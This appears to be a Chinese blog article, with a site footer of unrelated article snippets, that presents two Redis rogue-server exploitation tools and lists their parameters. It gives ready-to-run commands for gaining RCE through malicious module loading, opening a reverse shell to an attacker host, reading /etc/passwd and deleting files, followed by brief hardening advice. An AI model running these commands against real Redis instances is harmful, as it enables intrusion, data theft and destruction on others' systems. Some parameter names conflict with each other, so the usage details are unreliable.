工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》

1. 核心功能与攻击场景

  • redis-rogue-server
    基于Redis主从复制漏洞(CVE未公开),针对Redis 4.x~5.0.5版本设计,通过伪造恶意主节点强制同步恶意模块(.so文件)实现远程代码执行(RCE)。

    • 适用场景
      • 主动模式:攻击外网暴露的未授权Redis或已知弱密码的实例,直接建立主从关系。
      • 被动模式:通过SSRF或内网横向移动,诱导目标Redis反向连接攻击者控制的恶意主节点。
    • 技术特点
      • 内置编译好的恶意模块(如exp.so),支持生成反弹Shell或执行系统命令。
      • 支持交互式Shell(直接命令执行)或反向Shell(绕过防火墙限制)。
  • Awsome-Redis-Rogue-Server
    在原版基础上优化,支持更复杂的Redis认证场景(如存在密码保护的实例),并修复部分兼容性问题。

    • 核心改进
      • 增加对密码认证Redis实例的利用能力,通过--passwd参数指定密码。
      • 优化模块加载逻辑,减少因网络波动导致的同步失败。
    • 应用场景
      • 针对企业内网中配置了密码但未限制主从复制的Redis实例。
      • 结合Redis横向渗透工具(如RedisScanner)批量探测并攻击。

2. 使用流程与工具差异

对比项redis-rogue-serverAwsome-Redis-Rogue-Server
依赖文件需预编译.so模块(或使用自带exp.so同左,但优化模块兼容性
密码支持有限支持(需手动修改代码或参数)原生支持--passwd参数指定密码
攻击模式主动/被动模式同左,增加对认证流程的自动化处理
适用Redis版本4.x-5.0.5扩展至部分5.0.5+版本(需测试)
典型命令python3 redis-rogue-server.py --rhost <目标IP>python3 redis_rogue_server.py -rhost <目标IP> -passwd <密码>

3. 防御建议与漏洞修复

  • 禁用高危命令:通过rename-command重命名或禁用MODULESLAVEOF等指令。
  • 强制认证:设置requirepass强密码,并启用masterauth保证主从通信安全。
  • 网络隔离:限制Redis端口仅对可信IP开放,避免暴露公网。
  • 升级修复:升级至Redis 7.4.2+/7.2.7+修复Lua引擎漏洞(如CVE-2024-46981)。

总结

两者均利用Redis主从复制的设计缺陷实现RCE,但Awsome-Redis-Rogue-Server更适用于复杂认证环境,而redis-rogue-server更适合快速测试未授权场景。防御需结合访问控制、日志监控与版本升级,避免恶意模块加载和横向渗透。


redis_rogue_server.py 参数解析

该文件位于Awsome-Redis-Rogue-Server项目中。

1. 基本参数
参数描述示例
-rhost目标Redis服务器的IP地址。-rhost 192.168.1.100
-rport目标Redis服务器的端口(默认6379)。-rport 6379
-lhost攻击者主机的IP地址(用于反向Shell或模块同步)。-lhost 10.0.0.1
-lport攻击者主机的监听端口(默认15000)。-lport 21000
-passwdRedis实例的认证密码(若目标Redis设置了密码)。-passwd redis123
-sofile指定恶意模块文件(如exp.so)。-sofile ./exp.so
-path指定恶意模块文件路径(如 exp.so),该模块通常包含远程代码执行函数(如 system.exec),程序到路径中加载文件。-path exp.so
-v详细输出模式,用于显示攻击过程中的调试信息,如连接状态、命令执行细节、模块加载进度等。-v
2. 高级参数
参数描述示例
--command直接执行系统命令(无需加载模块)。--command "id"
--function调用模块中的特定函数(如system.exec)。--function system.exec
--backupfile指定目标Redis持久化文件的备份路径(用于恢复数据)。--backupfile /tmp/dump.rdb
--interactive启用交互式Shell(加载模块后)。--interactive
3. 使用示例
# 主动模式(外网/已知密码):加载 exp.so 模块,获取交互式 
# 功能:通过主从复制加载恶意模块,直接进入交互式 Shell。
# 场景:外网 Redis 未授权或已知弱密码。
Shell python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd redis123 -sofile exp.so --interactive# 被动模式(内网/SSRF诱导):仅启动恶意主节点,等待目标 Redis 反向连接 
# 功能:通过 SSRF 或内网横向移动诱导目标 Redis 连接恶意主节点。
# 场景:目标 Redis 处于内网且无法直接访问。
python3 redis_rogue_server.py --server-only -lhost 10.0.0.1 -lport 21000# 反向 Shell 反弹:监听 4444 端口,触发目标反弹 Shell 
# 功能:利用模块中的 `system.rev` 函数建立反向 Shell。
# 场景:绕过防火墙限制或权限维持。
python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev# 快速命令执行:直接执行系统命令(无需加载模块)
# 功能:快速验证漏洞或执行单条命令。
# 场景:应急响应或自动化渗透测试。
python3 redis_rogue_server.py -rhost 192.168.1.100 -command "cat /etc/passwd"# 调用自定义模块的特定函数:
# 说明:适用于绕过 WAF 或实现隐蔽攻击。
python3 redis_rogue_server.py -rhost 192.168.1.100 -sofile custom.so --function custom_cmd --command "rm -f /tmp/lock"# 攻击前备份目标 Redis 数据 
# 说明:避免攻击导致业务中断,需提前验证备份文件完整性。
python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/dump.rdb
4. 注意事项
  • 恶意模块exp.so 需提前编译,包含 system.exec 等函数。
  • 网络权限:确保攻击者主机(lhost)可被目标Redis访问(用于反向Shell或模块同步)。
  • 数据备份:攻击前建议备份目标Redis数据(--backupfile),避免数据丢失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/73687.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Razor C# 变量

Razor C# 变量 引言 在ASP.NET MVC和Razor视图引擎中,变量是构建动态网页的基础。理解Razor C#变量的使用对于开发者来说至关重要。本文将详细介绍Razor C#变量的概念、类型、作用域以及如何在实际项目中有效使用它们。 一、Razor C# 变量的概念 Razor C# 变量是存储在Raz…

【QA】模板方法模式在Qt中有哪些应用?

在 Qt 框架中&#xff0c;模板方法模式&#xff08;Template Method Pattern&#xff09;被广泛应用于框架的设计中&#xff0c;通过定义算法骨架并允许子类在不改变结构的情况下重写部分步骤。以下是 Qt 中典型的应用场景及示例&#xff1a; 1. 事件处理&#xff08;Event Ha…

有趣的算法实践:整数反转与回文检测(Java实现)

题目描述&#xff1a;整数反转与回文检测 要求实现两个功能&#xff1a; 将输入的整数反转&#xff08;保留符号&#xff0c;如输入-123返回-321&#xff09;判断反转后的数是否为回文数&#xff08;正反读相同&#xff09; 示例&#xff1a; 输入&#xff1a;123 → 反转结…

【协作开发】低成本一键复刻github的gitea

在阅读 next-public 时&#xff0c;反思原本的需求&#xff0c;是否本未倒置&#xff0c;故而重新调研当下开源现状。发现 gitea 完全满足商业软件的开发要求&#xff0c;并且价格足够低&#xff0c;使用足够方便&#xff0c;其他同类软件完全不用看了&#xff0c;真是世界级的…

基于“动手学强化学习”的知识点(二):第 15 章 模仿学习(gym版本 >= 0.26)

第 15 章 模仿学习&#xff08;gym版本 &#xff1e; 0.26&#xff09; 摘要 摘要 本系列知识点讲解基于动手学强化学习中的内容进行详细的疑难点分析&#xff01;具体内容请阅读动手学强化学习&#xff01; 对应动手学强化学习——模仿学习 # -*- coding: utf-8 -*-import gy…

JAVA面试_进阶部分_Java JVM:垃圾回收(GC 在什么时候,对什么东西,做了什么事情)

在什么时候&#xff1a; 首先需要知道&#xff0c;GC又分为minor GC 和 Full GC&#xff08;major GC&#xff09;。Java堆内存分为新生代和老年代&#xff0c;新生代 中又分为1个eden区和两个Survior区域。 一般情况下&#xff0c;新创建的对象都会被分配到eden区&#xff…

2024年消费者权益数据分析

&#x1f4c5; 2024年315消费者权益数据分析 数据见&#xff1a;https://mp.weixin.qq.com/s/eV5GoionxhGpw7PunhOVnQ 一、引言 在数字化时代&#xff0c;消费者维权数据对于市场监管、商家诚信和行业发展具有重要价值。本文基于 2024年315平台线上投诉数据&#xff0c;采用数…

设计模式Python版 访问者模式

文章目录 前言一、访问者模式二、访问者模式示例 前言 GOF设计模式分三大类&#xff1a; 创建型模式&#xff1a;关注对象的创建过程&#xff0c;包括单例模式、简单工厂模式、工厂方法模式、抽象工厂模式、原型模式和建造者模式。结构型模式&#xff1a;关注类和对象之间的组…

安全无事故连续天数计算,python 时间工具的高效利用

安全天数计算&#xff0c;数据系统时间直取&#xff0c;安全标准高效便捷好用。 笔记模板由python脚本于2025-03-17 23:50:52创建&#xff0c;本篇笔记适合对python时间工具有研究欲的coder翻阅。 【学习的细节是欢悦的历程】 博客的核心价值&#xff1a;在于输出思考与经验&am…

大型语言模型(LLM)部署中的内存消耗计算

在部署大型语言模型&#xff08;LLM&#xff09;时&#xff0c;显存&#xff08;VRAM&#xff09;的合理规划是决定模型能否高效运行的核心问题。本文将通过详细的公式推导和示例计算&#xff0c;系统解析模型权重、键值缓存&#xff08;KV Cache&#xff09;、激活内存及额外开…

Mysql表的查询

一&#xff1a;创建一个新的数据库&#xff08;companydb),并查看数据库。 二&#xff1a;使用该数据库&#xff0c;并创建表worker。 mysql> use companydb;mysql> CREATE TABLE worker(-> 部门号 INT(11) NOT NULL,-> 职工号 INT(11) NOT NULL,-> 工作时间 D…

ASP.NET Webform和ASP.NET MVC 后台开发 大概80%常用技术

本文涉及ASP.NET Webform和ASP.NET MVC 后台开发大概80%技术 2019年以前对标 深圳22K左右 广州18K左右 武汉16K左右 那么有人问了2019年以后的呢&#xff1f; 答&#xff1a;吉祥三宝。。。 So 想继续看下文的 得有自己的独立判断能力。 C#.NET高级笔试题 架构 优化 性能提…

首页性能优化

首页性能提升是前端优化中的核心任务之一&#xff0c;因为首页是用户访问的第一入口&#xff0c;其加载速度和交互体验直接影响用户的留存率和转化率。 1. 性能瓶颈分析 在优化之前&#xff0c;首先需要通过工具分析首页的性能瓶颈。常用的工具包括&#xff1a; Chrome DevTo…

一周学会Flask3 Python Web开发-SQLAlchemy删除数据操作-班级模块

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 首页list.html里加上删除链接&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta c…

改变一生的思维模型【12】笛卡尔思维模型

目录 基本结构 警惕认知暗礁 案例分析应用 一、怀疑阶段:破除惯性认知 二、解析阶段:拆解问题为最小单元 三、整合阶段:重构逻辑链条 四、检验阶段:多维验证解决方案 总结与启示 笛卡尔说,唯独自己的思考是可以相信的。 世界上所有的事情,都是值得被怀疑的,但是…

需求文档(PRD,Product Requirement Document)的基本要求和案例参考:功能清单、流程图、原型图、逻辑能力和表达能力

文章目录 引言I 需求文档的基本要求结构清晰内容完整语言准确图文结合版本管理II 需求文档案例参考案例1:电商平台“商品中心”功能需求(简化版)案例2:教育类APP“记忆宝盒”非功能需求**案例3:软件项目的功能需求模板3.1 功能需求III 需求文档撰写技巧1. **从核心逻辑出发…

五大方向全面对比 IoTDB 与 OpenTSDB

对比系列第三弹&#xff0c;详解 IoTDB VS OpenTSDB&#xff01; 之前&#xff0c;我们已经深入探讨了时序数据库 Apache IoTDB 与 InfluxDB、Apache HBase 在架构设计、性能和功能方面等多个维度的区别。还没看过的小伙伴可以点击阅读&#xff1a; Apache IoTDB vs InfluxDB 开…

Electron使用WebAssembly实现CRC-16 MAXIM校验

Electron使用WebAssembly实现CRC-16 MAXIM校验 将C/C语言代码&#xff0c;经由WebAssembly编译为库函数&#xff0c;可以在JS语言环境进行调用。这里介绍在Electron工具环境使用WebAssembly调用CRC-16 MAXIM格式校验的方式。 CRC-16 MAXIM校验函数WebAssembly源文件 C语言实…

vue3vue-elementPlus-admin框架中form组件的upload写法

dialog中write组件代码 let ImageList reactive<UploadFile[]>([])const formSchema reactive<FormSchema[]>([{field: ImageFiles,label: 现场图片,component: Upload,colProps: { span: 24 },componentProps: {limit: 5,action: PATH_URL /upload,headers: {…

Linux mount和SSD分区

为什么要用 mount&#xff1f; Linux 的文件系统结构是单一的树状层次 所有文件、目录和设备都从根目录 / 开始延伸。 外部的存储设备&#xff08;如硬盘、U盘、网络存储&#xff09;或虚拟文件系统&#xff08;如 /proc、/sys&#xff09;必须通过挂载点“嫁接”到这棵树上&a…